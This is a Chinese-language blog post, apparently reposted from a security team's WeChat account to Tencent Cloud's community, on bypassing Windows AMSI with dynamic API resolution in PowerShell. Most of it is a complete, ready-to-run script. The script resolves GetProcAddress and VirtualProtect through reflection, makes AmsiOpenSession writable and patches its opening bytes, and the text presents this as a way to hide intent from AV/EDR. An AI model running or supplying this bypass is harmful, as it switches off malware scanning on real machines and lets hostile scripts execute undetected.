首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >使用 PowerShell 中的动态 API 解析绕过 AMSI

使用 PowerShell 中的动态 API 解析绕过 AMSI

作者头像
Khan安全团队
发布2025-05-26 08:57:16
发布2025-05-26 08:57:16
2330
举报
文章被收录于专栏:Khan安全团队Khan安全团队

什么是动态 API 解析?

动态 API 解析是一种在运行时解析 Windows API 函数地址的技术,而不是在程序编译或加载时预先导入和声明。

函数实现

  • GetModuleHandle→ 获取 DLL 的句柄(如kernel32.dll或amsi.dll)
  • GetProcAddress→ 获取特定函数的内存地址(如AmsiOpenSession,VirtualProtect)

静态导入会在代码运行之前向 AV/EDR 公开你的意图。动态 API 解析保持隐藏状态,仅在需要时显示所需内容,从而降低静态检测风险。

代码语言:javascript
复制
function LookupFunc {
	Param ($moduleName, $functionName)
	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
function getDelegateType {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
		[Parameter(Position = 1)] [Type] $delType = [Void]
	)
	$type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])
  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')
  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')
	return $type.CreateType()
}
[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] ([Convert]::FromBase64String("SDHAAw==")) 
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-05-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档